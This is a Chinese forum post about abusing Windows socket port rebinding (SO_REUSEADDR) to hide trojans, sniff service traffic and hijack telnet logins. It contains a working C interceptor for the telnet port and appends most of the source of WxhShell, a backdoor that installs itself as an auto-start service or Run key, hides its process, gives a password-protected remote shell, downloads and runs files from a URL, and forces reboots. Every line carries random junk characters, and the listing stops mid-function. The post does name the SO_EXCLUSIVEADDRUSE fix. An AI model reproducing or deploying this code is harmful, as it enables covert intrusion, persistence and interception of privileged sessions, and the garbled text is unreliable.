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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: "n }fEVJ,  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); /'6[*]IZP  
9Fx z!-9m  
  saddr.sin_family = AF_INET; hX%v`8  
T zYgH  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); NB5B$q_'#  
-_DiD^UcXn  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); o%PoSZZ  
Z4ov  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 \BaN5+ B6  
' ,`4 U F  
  这意味着什么?意味着可以进行如下的攻击: J7;n;Mx  
G!Oq>7  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 hX| UE  
V)QR!4De  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) |~LjH|*M  
BC{J3<0bf@  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 5qQ(V)ah  
vC<kpf!  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ]#q7}Sd  
)^S^s >3  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 b[o"Uq@8?  
:YXQ9/iRr  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Qfu*F}  
ioa_AG6B  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 <VR&= YJ  
G!LNP&~  
  #include dzNaow*0&V  
  #include PB<Sc>{U  
  #include ^%$W S,  
  #include    soQzIx  
  DWORD WINAPI ClientThread(LPVOID lpParam);   nQ!#G(_nO  
  int main() IOZ|85u =  
  { O\F^@;] F6  
  WORD wVersionRequested; 0*IY%=i  
  DWORD ret; k>;r9^D  
  WSADATA wsaData; TgE.=`"7  
  BOOL val; 7K]U |K#  
  SOCKADDR_IN saddr; D3AtYt  
  SOCKADDR_IN scaddr; < Gy!i/  
  int err; o p5^9`"  
  SOCKET s; DD6`k*RIk.  
  SOCKET sc; K<  
  int caddsize; _B7?C:8Q-  
  HANDLE mt; x*"pDI0k)  
  DWORD tid;   pkV\D  
  wVersionRequested = MAKEWORD( 2, 2 ); K^& ]xFW  
  err = WSAStartup( wVersionRequested, &wsaData ); .'{6u;8  
  if ( err != 0 ) { ID).*@(I"  
  printf("error!WSAStartup failed!\n"); GlgORy=>  
  return -1; VmH_0IM^6  
  } V<NsmC=g  
  saddr.sin_family = AF_INET; b:5%}  
   ;7^j-6  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 }Oh'YX#[  
(:bCOEZ  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); OK2/k_jXN'  
  saddr.sin_port = htons(23); (=tF2YBV  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8j+:s\  
  { \ [^) WQ  
  printf("error!socket failed!\n"); ]V769B9  
  return -1; {9|$%4kRl  
  } J(&M<<%  
  val = TRUE; 0e:QuV2X  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 iMeRQYW  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 9s6>9hMb)  
  { a2=uM}Hsp  
  printf("error!setsockopt failed!\n"); %)hIpxOrX  
  return -1; CbH T #  
  } # pjyhH@  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; k1Mxsd  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 GgpQ]rw  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 #b"5L2D`y'  
sHPwW5j/o'  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 0jJ28.kOp  
  { (zw=qbS&  
  ret=GetLastError(); "G-0iKW;  
  printf("error!bind failed!\n"); -2jBs-z  
  return -1; )4F/T,{;m  
  } Zj+}T  
  listen(s,2);  Vq)gpR  
  while(1) {cyo0-9nv  
  { d,J<SG&L&  
  caddsize = sizeof(scaddr); kq}eUY]  
  //接受连接请求 K0DXOVT\  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); >gZk 581/  
  if(sc!=INVALID_SOCKET) Fb{`a[&  
  { >upXt?  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); kSDa\l!W]  
  if(mt==NULL) hKzBq*cV  
  { _Dcc<-.  
  printf("Thread Creat Failed!\n"); sg6w7fp>  
  break; oA3W {  
  } E_![`9i  
  } %L\{kUam  
  CloseHandle(mt); lgjoF_D  
  } M\?uDC9  
  closesocket(s); b6WC @j`*T  
  WSACleanup(); @a.6?.<L  
  return 0; 3e!Yu.q:  
  }   ; LF)u2x=  
  DWORD WINAPI ClientThread(LPVOID lpParam) F<oc Y0=9p  
  { fCt\2);a  
  SOCKET ss = (SOCKET)lpParam; dj y:  
  SOCKET sc; %X9:R'~sP  
  unsigned char buf[4096]; MNf@HG  
  SOCKADDR_IN saddr; &W)+8N,L  
  long num; [;IDTo!<>  
  DWORD val; hDD~,/yVxs  
  DWORD ret; mcz(,u}  
  //如果是隐藏端口应用的话,可以在此处加一些判断 c2\rjK   
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   &t*8oNwSs  
  saddr.sin_family = AF_INET; TH(Lzrbg  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); e2-70UvW^  
  saddr.sin_port = htons(23); (9YYv+GGd*  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |<$<L`xoe  
  { O2'bNR  
  printf("error!socket failed!\n"); k}f<'g<H  
  return -1; VNxpOoV=S  
  } A"bSNHCKF  
  val = 100; B=Zukg1G  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) hV>4D&<  
  { @cS1w'=  
  ret = GetLastError(); sx-Hw4.a"  
  return -1; u .pKK  
  } ~*PK080N}  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9HJ'p:{)  
  { &8X .!r`f  
  ret = GetLastError(); kuTq8p2E  
  return -1; m_E[bDON  
  } ?LV-W  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) }4\!7]FVYX  
  { x8pbO[_|  
  printf("error!socket connect failed!\n"); #E$Z[G]  
  closesocket(sc); _']%qd"%  
  closesocket(ss); 35%[D Ukb  
  return -1; I", &%0ycm  
  } [ n0##/  
  while(1)  [`hE^chd  
  { {#w A !>.  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 6m-:F.k1(  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 q2S!m6!  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 kY'<u  
  num = recv(ss,buf,4096,0); |Uy e>%*}4  
  if(num>0) 0U~;%N+lv  
  send(sc,buf,num,0); :!+}XT7)/  
  else if(num==0) u^aFj%}]L  
  break; n ,&/D  
  num = recv(sc,buf,4096,0); ]e@0T{!  
  if(num>0) !e:iB7<  
  send(ss,buf,num,0); {;Y 89&*R  
  else if(num==0) k"q!|+&Fs  
  break; E,<\T6/%q  
  } E VN-<=i^  
  closesocket(ss); j]!7BHC  
  closesocket(sc); cD'HQ3+  
  return 0 ; DD/>{kff  
  } _4.]A 3;}  
Z#OhYm+y  
 /i-xX*  
========================================================== WNn[L=f  
o[bE  
下边附上一个代码,,WXhSHELL tT@w%Sz57N  
MG7 ?N #  
========================================================== ~|y^\U@  
@)W(q5)}9"  
#include "stdafx.h" .pS&0gBo\  
PcHSm/d0e  
#include <stdio.h> ~7lTqY\  
#include <string.h> %1-K);S J  
#include <windows.h> e-CNQnO~  
#include <winsock2.h> X$7Oo^1;  
#include <winsvc.h> 3d*&':  
#include <urlmon.h> (~j,mk  
T~i%j@Q.6  
#pragma comment (lib, "Ws2_32.lib") w24{_ N  
#pragma comment (lib, "urlmon.lib") zb>f;[  
aN^]bs?R  
#define MAX_USER   100 // 最大客户端连接数 [%j?.N  
#define BUF_SOCK   200 // sock buffer ?a'6EAErC  
#define KEY_BUFF   255 // 输入 buffer > 63)z I  
<*s"e)XeqF  
#define REBOOT     0   // 重启 ^[{`q9A#d  
#define SHUTDOWN   1   // 关机  G"o!}  
{fGd:2dh  
#define DEF_PORT   5000 // 监听端口 \H Wcd|  
jOUK]>ox:  
#define REG_LEN     16   // 注册表键长度 DA<F{n.Z:  
#define SVC_LEN     80   // NT服务名长度 YSR mt/  
!_CX2|  
// 从dll定义API Awu$g.  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); S  ~@r  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {]wIM^$6+  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); O1GDugZ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ~L- 0~  
A}t%;V2  
// wxhshell配置信息 \~JNQ&_o  
struct WSCFG { +h0PR?  
  int ws_port;         // 监听端口 s kN9O"^A  
  char ws_passstr[REG_LEN]; // 口令 $> "J"IX  
  int ws_autoins;       // 安装标记, 1=yes 0=no vU=9ydAj?  
  char ws_regname[REG_LEN]; // 注册表键名 "$XYIuT  
  char ws_svcname[REG_LEN]; // 服务名 2v0!` &?M{  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ?e F@Q !h  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ;B&^yj&;  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 BjJ,"sT  
int ws_downexe;       // 下载执行标记, 1=yes 0=no K)\(wxv  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 4p.^'2m  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 OF c\fW#  
*IC^IC:  
}; 9ky7r;?  
!Eq#[Gs  
// default Wxhshell configuration <d5@CA+M  
struct WSCFG wscfg={DEF_PORT, o^3FL||P#r  
    "xuhuanlingzhe", 9<yAQ?7 L  
    1, rh@r\ H@j  
    "Wxhshell", "jMqt9ysN  
    "Wxhshell", JnfqXbE  
            "WxhShell Service", HF"Eys  
    "Wrsky Windows CmdShell Service", >~_J q|KBB  
    "Please Input Your Password: ", 6+.>5e  
  1, S]}}A  
  "http://www.wrsky.com/wxhshell.exe", b"I~_CL|  
  "Wxhshell.exe" LO)GTyzvJ  
    }; >lrhHU  
8z Y)J#  
// 消息定义模块 JPEIT  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 3KSpB;HX  
char *msg_ws_prompt="\n\r? for help\n\r#>"; B$rTwR"(-  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; sf(i E(o  
char *msg_ws_ext="\n\rExit."; o]Gguw5W{  
char *msg_ws_end="\n\rQuit."; z~,mRgc$B  
char *msg_ws_boot="\n\rReboot..."; |6aJwe+*  
char *msg_ws_poff="\n\rShutdown..."; tQWWgLM  
char *msg_ws_down="\n\rSave to "; v:E;^$6Vn  
Yu'a<5f  
char *msg_ws_err="\n\rErr!"; z v>Oh#  
char *msg_ws_ok="\n\rOK!"; >OV<_(S4  
nX|Q~x]  
char ExeFile[MAX_PATH]; +b^]Pz5  
int nUser = 0; NUCiY\td  
HANDLE handles[MAX_USER]; )l&D]3$6K  
int OsIsNt; Hou*lCA  
t8QRi!\=  
SERVICE_STATUS       serviceStatus; F|>05>8  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; (Yv{{mIy  
B MM--y@  
// 函数声明 owvS/"@  
int Install(void); fAGctRGH  
int Uninstall(void); `H\)e%]  
int DownloadFile(char *sURL, SOCKET wsh); v5_7r%Hiw  
int Boot(int flag); "+)K |9T#  
void HideProc(void); #)o7"PW:  
int GetOsVer(void); CK0l9#g  
int Wxhshell(SOCKET wsl); 3X;{vO\a1  
void TalkWithClient(void *cs); Zb(E:~h\  
int CmdShell(SOCKET sock); AEY$@!8  
int StartFromService(void); \q "N/$5{f  
int StartWxhshell(LPSTR lpCmdLine); ef=K_, _  
r`j Wp\z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %Tv^GP{}  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); gY(1,+0-  
fiVHRSX60  
// 数据结构和表定义 jfD1  
SERVICE_TABLE_ENTRY DispatchTable[] = .h4\{|  
{  4*TmlY  
{wscfg.ws_svcname, NTServiceMain}, &SH1q_&BQ  
{NULL, NULL} ` J]xP$)  
}; +L0w;wT  
dH\XO-Z7v  
// 自我安装 03k?:D+5  
int Install(void) SHV4!xP-V  
{ iXFP5a>|  
  char svExeFile[MAX_PATH]; c pk^!@c  
  HKEY key; 9'nH2,_  
  strcpy(svExeFile,ExeFile); )0k']g5  
n2 {SV  
// 如果是win9x系统,修改注册表设为自启动 }s_hD`'  
if(!OsIsNt) { 6.5wZN9<|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =>|C~@C?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); PFM' & ;V  
  RegCloseKey(key); }XR : 2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +H_MV=A^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )55\4<ty  
  RegCloseKey(key); bUZ_UW  
  return 0; `pL^}_>|GM  
    } i%-Ld Ka}"  
  } Tde0~j}  
} ]E3<UR  
else { .$!{-v[  
eS'yGY0b  
// 如果是NT以上系统,安装为系统服务 fKHE;A*>%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,lt8O.h-l  
if (schSCManager!=0) t 9^A(Vh"-  
{ uLQ  
  SC_HANDLE schService = CreateService 2 rN ,D(  
  ( "B{ECM;  
  schSCManager, 0:=ZkEEeU  
  wscfg.ws_svcname, #Yuvbb[  
  wscfg.ws_svcdisp, D\1k.tI  
  SERVICE_ALL_ACCESS, ^ B/9{0n'  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 3QXjD/h  
  SERVICE_AUTO_START, N@xg:xr  
  SERVICE_ERROR_NORMAL, -.IEgggf  
  svExeFile, 6/Fzco#N  
  NULL, !TKkec8$  
  NULL, qQ0C?  
  NULL, F%d \~Vj  
  NULL, ua5?(,E`']  
  NULL a|4~NL  
  ); ?F7o!B  
  if (schService!=0) C/=XuKE-t  
  { +G F#?X0^  
  CloseServiceHandle(schService); +Qxu$#  
  CloseServiceHandle(schSCManager); 71fk.16  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); m ee$"Y  
  strcat(svExeFile,wscfg.ws_svcname); -%CoWcGP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (:pq77  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @+LfQY  
  RegCloseKey(key); EH*o"N`!r  
  return 0; @U{<a#  
    } :hRs`=d"r  
  } Ju2l?Rr X  
  CloseServiceHandle(schSCManager); 8RW&r  
} a4 MZ;5  
} <#M`5X.  
1f'Hif*r_X  
return 1; Wg`AZ=t  
} tK(g-u0N`(  
S4^N^lQ]  
// 自我卸载 j*v40mXl`2  
int Uninstall(void) V 9wI\0  
{  m#vL*]c}  
  HKEY key; w Y   
)B# ,  
if(!OsIsNt) { h#r^teui)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \2 y5_;O  
  RegDeleteValue(key,wscfg.ws_regname); S=`+Ryc  
  RegCloseKey(key); a:TvWzX,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { b5G}3)'w  
  RegDeleteValue(key,wscfg.ws_regname); 6 K` c/)  
  RegCloseKey(key); `d]IX^;  
  return 0; JAjmrX  
  } 'XrRhF (  
} MPgS!V1  
} Yc r3HLJy  
else { {c?JuV4q?  
lbdTQ6R  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); H9)m^ *  
if (schSCManager!=0) I04jjr:<  
{ cF)/^5Z  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); #oeG!<Mn  
  if (schService!=0) {66sB{P  
  { a]Eg!Q  
  if(DeleteService(schService)!=0) { -|k)tvAm  
  CloseServiceHandle(schService); LQ11ba  
  CloseServiceHandle(schSCManager); J5p"7bc  
  return 0; [#Lc]$  
  } #11NPo9  
  CloseServiceHandle(schService); Uxfl_@lJ  
  } TL$EV>Nr  
  CloseServiceHandle(schSCManager); ._w8J"E5  
} :<Y}l-x  
} [D-Q'"'A  
/M;#_+VK<  
return 1; aI(7nJ=R  
} 9E2j!  
/MMd`VrC2  
// 从指定url下载文件 aprm0:Q^  
int DownloadFile(char *sURL, SOCKET wsh) Zn=T#o  
{ kE8>dmH23  
  HRESULT hr; Wz4&7KYY  
char seps[]= "/"; gWABY%!}  
char *token; v~3B:k:?l  
char *file; 3f " %G\  
char myURL[MAX_PATH]; vK7\JZ>  
char myFILE[MAX_PATH]; *-W#G}O0  
n+@F`]K e  
strcpy(myURL,sURL); n\Fp[9+Z\  
  token=strtok(myURL,seps); &AVpLf:?  
  while(token!=NULL) {t"+ 3zy'  
  { Oa;X +  
    file=token; ^D^4 YJz  
  token=strtok(NULL,seps); ]<(]u#g_d  
  } Y2B &go  
_lzyMEdr  
GetCurrentDirectory(MAX_PATH,myFILE); LMi:%i%\  
strcat(myFILE, "\\"); >Rvx[`|O!m  
strcat(myFILE, file); JO=[YoTr  
  send(wsh,myFILE,strlen(myFILE),0); |(m oWY=  
send(wsh,"...",3,0); IK,|5]*Ar  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); D|Iur W1f  
  if(hr==S_OK) %75xr9yOP  
return 0; }i {sg#  
else <FMq>d$\  
return 1; [b{CkX06  
5D M"0  
} -9RDr\&`(  
MMB@.W  
// 系统电源模块 J"=1/,AS  
int Boot(int flag) (,^*So/  
{ >hBxY]< \  
  HANDLE hToken; 1im^17 X  
  TOKEN_PRIVILEGES tkp; +_XmlX A3Z  
l4n)#?Q?  
  if(OsIsNt) { 8+]hpa,q  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); y;mj^/SxK  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #HS]NA|e@  
    tkp.PrivilegeCount = 1; y4h=Lki@  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; EbeI{ -'aF  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); y\N|<+G+  
if(flag==REBOOT) { .@ xF6UZ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) %r&-gWTQ,  
  return 0; 4Mk-2 Dx  
} gaA<}Tp,  
else { s9dO,FMs0t  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) i)#:qAtP*  
  return 0; m}>F<;hQ  
} ^F?&|clM/  
  } iAT)VQ&  
  else { 8Ll[ fJZA  
if(flag==REBOOT) { LIg{J%  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) + OV')oE  
  return 0; R52I= a5,*  
} zF5uN:-s  
else { Oj<S.fi  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ["\;kJ.  
  return 0; zlR?,h-[3  
} I^o!n5VM  
} |ZodlYF  
.jy]8S8[|%  
return 1; yj4+5`|f  
} *yl>T^DjTC  
Ax!+P\\2~  
// win9x进程隐藏模块 7'NwJ,$6\  
void HideProc(void) *6xgctk  
{ cA6lge<{~  
XeBP`\>Ve  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); .>z][2oz  
  if ( hKernel != NULL ) 9qS"uj  
  { uKgZ$-'  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); XZw6Xtn  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); JdZ+Hp3.  
    FreeLibrary(hKernel); P0 `Mdk371  
  } Y(.OF Q  
AoA!q>  
return; WyP W*  
} eY{+~|KZ  
;n|^1S<[  
// 获取操作系统版本 ~4q5 k5.,  
int GetOsVer(void) =] 3tUD  
{ bc , p }  
  OSVERSIONINFO winfo; D&HV6#  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); i#%aTRKHd6  
  GetVersionEx(&winfo); G,;,D9jO7  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) p4p@^@<>X  
  return 1; ~b {Gz6u>  
  else ;[RZ0Uy=  
  return 0; nx0K$ Ptq  
} +cU>k}  
qRbf2;  
// 客户端句柄模块 h*u`X>!!  
int Wxhshell(SOCKET wsl) ;gC|  
{ fwzb!"!.@  
  SOCKET wsh; AkOO )0  
  struct sockaddr_in client; 64:fs?H  
  DWORD myID; $%VuSrZ&  
Qp`gswvE  
  while(nUser<MAX_USER) U-n;xX0=  
{ AyMd:5;  
  int nSize=sizeof(client); ccd8O{G.M  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 1:Si,d,wh  
  if(wsh==INVALID_SOCKET) return 1; |lv|!]qAma  
XD"_Iq!  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); G%d (  
if(handles[nUser]==0) ioPUUUb)  
  closesocket(wsh); wf1lyS  
else &~CY]PN.  
  nUser++; B c2p(z4  
  } >vo=]c w  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); y\{%\$  
ax 41N25  
  return 0; DNP13wp@  
} .jMq  
A<;SnXm  
// 关闭 socket v@#b}N0n  
void CloseIt(SOCKET wsh) ^k<o T'89  
{ %/updw#{B  
closesocket(wsh); OT&k.!=  
nUser--; _#vrb;.+  
ExitThread(0); Xy%p"b<  
} imiR/V>N  
7 I>G{  
// 客户端请求句柄 epgPT'^  
void TalkWithClient(void *cs) sUPz/Z.h  
{ )& u5IA(  
-(K9s!C!.  
  SOCKET wsh=(SOCKET)cs; ~)(\6^&=|  
  char pwd[SVC_LEN]; vOg#Dqn-  
  char cmd[KEY_BUFF]; ,]T2$?|  
char chr[1]; 'w1YFdW  
int i,j; E@Ad'_H  
^eoLAL  
  while (nUser < MAX_USER) { s=[h?kB  
^wS5>lf7p  
if(wscfg.ws_passstr) { %6_AM  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); N!`e}Z6S  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); z3uW)GQ.  
  //ZeroMemory(pwd,KEY_BUFF); yv)ux:P&+  
      i=0; sN5B7)Vc  
  while(i<SVC_LEN) { ~Ch+5A;  
*}8t{ F@k  
  // 设置超时 W0}B'VS.I  
  fd_set FdRead; p uT'y  
  struct timeval TimeOut; c_elShK8#  
  FD_ZERO(&FdRead); MTUn3;c/  
  FD_SET(wsh,&FdRead); 6d+p7x  
  TimeOut.tv_sec=8; Afk$?wkL  
  TimeOut.tv_usec=0; yV^s,P1  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); t'ZWc\  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); )aX,%yK  
S6[v;{xJ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >|;aIa@9  
  pwd=chr[0]; EAeqLtFqs  
  if(chr[0]==0xd || chr[0]==0xa) { |<O9Sb_  
  pwd=0; t:fFU1x  
  break; Q?X>E3=U  
  } + T8B:  
  i++; uw2hMt (N  
    } D.mHIsX6\  
/JT#^Y  
  // 如果是非法用户,关闭 socket >a}f{\Q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); @/ k@WhFZ  
} 5ms""LD/  
S%`0'lzzj  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); GH[wv<  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~}<DG1!  
H9CS*|q6r  
while(1) { B,{K*-7)MX  
MR}Agu#LG  
  ZeroMemory(cmd,KEY_BUFF); ciMzf$+G$  
\G-KplKS  
      // 自动支持客户端 telnet标准   &~W:xg(jN  
  j=0; zk( U8C+  
  while(j<KEY_BUFF) { 2,*M|+W~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :^(>YAyHj^  
  cmd[j]=chr[0]; HbW0wuI  
  if(chr[0]==0xa || chr[0]==0xd) { QcpXn4/*  
  cmd[j]=0; l<);s  
  break; A,4fEmWM  
  } ){UcS/GI=  
  j++; y '!m4-  
    } .?l\g-;=  
:>=\.\  
  // 下载文件 Q1+dCCY#F  
  if(strstr(cmd,"http://")) { ^`G}gWBx}w  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); l]5w$dded~  
  if(DownloadFile(cmd,wsh)) O?|gp<=d  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); f!JS= N?3  
  else  =kuMWaD  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |iwP:C^\mJ  
  } rEF0oJ.  
  else { V5rS T +  
KY~- ;0x  
    switch(cmd[0]) { BT(CM,bp  
  G["c\Xux  
  // 帮助 w`5xrqt@  
  case '?': { Ih"XV  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); cCxBzkH6  
    break; p3 ^ m9J  
  } ynrT a..  
  // 安装 ^U!0-y  
  case 'i': { Er{>p|n =  
    if(Install()) yNTK .  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ej"+:. "\e  
    else 0vw4?>Jf@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VTH> o>g  
    break; j*vYBGD  
    } #Q /Arq  
  // 卸载 sQ\8>[]   
  case 'r': { *Em,*!  
    if(Uninstall()) ,KFapz!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tdu$pC6  
    else p}~qf  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); % oo2/aF  
    break; pJtex^{!:  
    } %ALwz[~]  
  // 显示 wxhshell 所在路径 P ! _rEV  
  case 'p': { ;&)-;l7M  
    char svExeFile[MAX_PATH]; WILMH`  
    strcpy(svExeFile,"\n\r"); >=-(UA  
      strcat(svExeFile,ExeFile); hr)B[<9  
        send(wsh,svExeFile,strlen(svExeFile),0); aYSCw 3C<  
    break; t)}scf&^x  
    } ;-qO'V:;  
  // 重启 ~W-PD  
  case 'b': { Uw7h=UQh  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); c(~[$)i6  
    if(Boot(REBOOT)) T]c%!&^ _  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lx7Q.su'  
    else { &:`U&06q  
    closesocket(wsh); (P:<t6;+  
    ExitThread(0); #n8IZ3+  
    } $F5 b  
    break; w}YlVete  
    } Nb'''W-iu  
